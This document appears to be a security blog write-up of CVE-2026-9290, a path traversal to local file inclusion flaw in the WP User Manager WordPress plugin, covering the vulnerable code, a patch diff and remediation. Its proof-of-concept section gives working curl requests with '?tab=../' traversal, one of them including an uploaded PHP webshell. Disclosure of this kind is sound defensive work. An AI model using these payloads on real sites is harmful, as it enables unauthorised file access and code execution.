CVE-2026-9290: WP User Manager Unauthenticated Path Traversal to LFI (CVSS 7.5)
Table of Contents
CVE-2026-9290 is a CVSS 7.5 High Path Traversal to Local File Inclusion vulnerability in the WP User Manager – User Profile Builder & Membership WordPress plugin. An unauthenticated attacker can supply a crafted tab query parameter on any user profile page to include arbitrary PHP files from the server, enabling access control bypass, sensitive data exposure, or remote code execution when combined with a PHP file upload.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WP User Manager – User Profile Builder & Membership |
| Plugin Slug | wp-user-manager |
| CVE ID | CVE-2026-9290 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Unauthenticated Path Traversal to Local File Inclusion |
| Affected Versions | <= 2.9.17 |
| Patched Version | 2.9.18 |
| Published | June 5, 2026 |
| Researcher | Yat |
| Wordfence Advisory | Link |
Description
The WP User Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to and including 2.9.17. The vulnerability exists in the profile template scope function. Unauthenticated attackers can include and execute arbitrary PHP files on the server. This allows execution of any PHP code in those files. It can bypass access controls, expose sensitive data, or achieve remote code execution when PHP files can be uploaded and included.
Technical Analysis
Vulnerable Function: wpum_get_active_profile_tab()
The function wpum_get_active_profile_tab() in includes/functions.php is responsible for determining which tab to display on a user profile page.
// includes/functions.php — vulnerable version 2.9.17
function wpum_get_active_profile_tab() {
$first_tab = key( wpum_get_registered_profile_tabs() );
$profile_tab = get_query_var( 'tab', $first_tab );
return $profile_tab;
}
The function reads the tab value directly from WordPress query variables via get_query_var('tab', $first_tab). It performs no validation against the list of known, registered profile tabs. Any value in the tab query variable is returned as-is.
How the tab Query Variable Is Populated
The plugin uses the Brain Cortex router library to define custom URL routes in includes/permalinks.php. One of these routes handles profile page URLs with an optional tab path segment:
// includes/permalinks.php — route with tab in URL path
$routes->addRoute( new QueryRoute(
$page_slug . '{profile:[^/]+}/{tab:[a-zA-Z0-9_.-]+}',
function ( array $matches ) use ( $profile_page_id ) {
return array(
'profile' => rawurldecode( $matches['profile'] ),
'tab' => rawurldecode( $matches['tab'] ),
'page_id' => $profile_page_id,
);
}
) );
The path-based {tab} segment is constrained to [a-zA-Z0-9_.-]+, which appears to block traversal characters. However, this constraint only applies to the URL path segment, not to the URL query string.
The Bypass: merge_query_string Overwrite
The Cortex router’s finalizeRoute method in Router.php enables query string merging by default:
// vendor-dist/brain/cortex/src/Cortex/Router/Router.php
\is_null($route['merge_query_string']) and $route['merge_query_string'] = \true;
$merge = \filter_var($route['merge_query_string'], \FILTER_VALIDATE_BOOLEAN);
$uriVars = $uri->vars(); // parses the URL query string via parse_str()
$merge and $vars = \array_merge($vars, $uriVars);
The $uriVars value comes from parse_str() on the raw URL query string. Because array_merge places $uriVars second, the query string values overwrite the route-matched values. An attacker adds ?tab=../something to the URL query string, and this value overwrites the path-matched tab variable entirely — bypassing the route regex constraint.
These merged vars are then set as WordPress query variables via QueryVarsController:
// vendor-dist/brain/cortex/src/Cortex/Controller/QueryVarsController.php
public function run(array $vars, \WP $wp, $template = '')
{
$wp->query_vars = $vars;
return \false;
}
When wpum_get_active_profile_tab() calls get_query_var('tab'), it reads the attacker-controlled value.
File Inclusion via Template Loader
The returned $active_tab value flows directly into the template loader in templates/profile.php:
// templates/profile.php — line 52 area
$active_tab = wpum_get_active_profile_tab();
WPUM()->templates->set_template_data( array(
'user' => $data->user,
'current_user_id' => $data->current_user_id,
) )->get_template_part( "profiles/{$active_tab}" );
get_template_part("profiles/{$active_tab}") is implemented in the Gamajo template loader library. It calls get_template_file_names() which constructs filenames like profiles/{$active_tab}.php. The resulting path is passed to locate_template():
// vendor-dist/gamajo/template-loader/class-gamajo-template-loader.php
public function locate_template($template_names, $load = false, $require_once = true)
{
// ...
foreach ($template_names as $template_name) {
$template_name = ltrim($template_name, '/'); // only strips leading slashes
foreach ($template_paths as $template_path) {
if (file_exists($template_path . $template_name)) {
$located = $template_path . $template_name;
break 2;
}
}
}
if ($load && $located) {
load_template($located, $require_once); // PHP file inclusion
}
return $located;
}
The locate_template function strips only leading slashes via ltrim(). It does not sanitize ../ sequences. With $active_tab = '../account', the constructed path is:
{plugin_templates_dir}/profiles/../account.php
This resolves to {plugin_templates_dir}/account.php, a real file in the plugin. With deeper traversal like ../../../../wp-config, the attacker can target files outside the plugin directory entirely.
The load_template() function includes the resolved file using PHP’s require, executing any PHP code it contains.
Proof of Concept
Disclaimer: This PoC is for authorized security testing and educational purposes only. Do not test on systems you do not own or have explicit permission to test.
Prerequisites
- WP User Manager plugin installed and active, version <= 2.9.17
- A public user profile page exists (e.g.,
https://example.com/profile/) - WordPress has at least one registered user with a profile URL
Step 1: Identify the Profile Page
Visit the WordPress site and find any user profile URL. The default format is typically:
https://example.com/profile/{username}/
Step 2: Trigger Local File Inclusion
Append ?tab= with a path traversal sequence to the profile URL. The following example includes the plugin’s own account.php file by traversing one level up from the profiles/ directory:
# Include the plugin's account.php template (demonstrates LFI)
curl -s "https://example.com/profile/admin/?tab=../account"
Expected result: The profile page renders the account form template instead of the normal “about” tab. This confirms that the ../ traversal succeeded and the file templates/account.php was included.
Step 3: Traverse to Arbitrary PHP Files
Use additional ../ sequences to traverse outside the plugin’s templates directory. For example, to include the plugin’s main file:
# Traverse further outside the templates directory
curl -s "https://example.com/profile/admin/?tab=../../wp-user-manager"
This resolves to {plugin_root}/wp-user-manager.php.
Step 4: Remote Code Execution (Advanced)
To achieve RCE, an attacker first needs a PHP file accessible on the server. This can be combined with a file upload vulnerability (for example, a user avatar upload that allows PHP files). Once a PHP webshell is uploaded, the attacker includes it via path traversal:
# Example: if a PHP shell was uploaded to wp-content/uploads/2026/06/shell.php
# The path from the templates directory requires enough ../ sequences to reach it
curl -s "https://example.com/profile/admin/?tab=../../../../../../wp-content/uploads/2026/06/shell"
Note: The template loader appends .php automatically, so the filename must end in .php on the server.
Step 5: Verify
A successful LFI will:
- Return unexpected page content or template output (not a 404 or default tab)
- Potentially echo PHP output if an executable PHP file is included
- Show error messages from included files if PHP error reporting is on
Patch Analysis
The fix was introduced in version 2.9.18 with a single, targeted change to includes/functions.php:
function wpum_get_active_profile_tab() {
- $first_tab = key( wpum_get_registered_profile_tabs() );
+ $registered = wpum_get_registered_profile_tabs();
+ $first_tab = key( $registered );
$profile_tab = get_query_var( 'tab', $first_tab );
+ // Validate against registered tabs to prevent path traversal / LFI.
+ if ( ! isset( $registered[ $profile_tab ] ) ) {
+ $profile_tab = $first_tab;
+ }
+
return $profile_tab;
}
The fix stores the registered tabs array in $registered, then checks whether the supplied $profile_tab value exists as a key in that array. If not, it falls back to $first_tab.
The registered tabs are defined as simple string keys: about, posts, and comments. None of these contain path traversal sequences. Because any value not in this allowlist is rejected, the fix completely closes the LFI attack surface.
The fix addresses the root cause — the missing allowlist validation — rather than just escaping the output or blocking specific characters. This is the correct approach.
Timeline
| Date | Event |
|---|---|
| June 5, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 5, 2026 | Patched version 2.9.18 released |
| June 7, 2026 | This blog post published |
Remediation
Update WP User Manager to version 2.9.18 or later immediately.
To update:
- Go to WordPress Admin → Plugins → Installed Plugins
- Find WP User Manager
- Click Update Now
Alternatively, download the patched version directly from wordpress.org.
If immediate update is not possible, consider temporarily disabling the plugin until the update can be applied.
References
- Wordfence Advisory — CVE-2026-9290
- CVE-2026-9290 at MITRE
- WordPress.org Plugin Page
- Vulnerable File: templates/profile.php#L52
- Vulnerable File: includes/functions.php#L955
- Gamajo Template Loader — locate_template#L226
- Brain Cortex Router — Router.php#L183
- Patch Commit on Trac
- GitHub Pull Request #445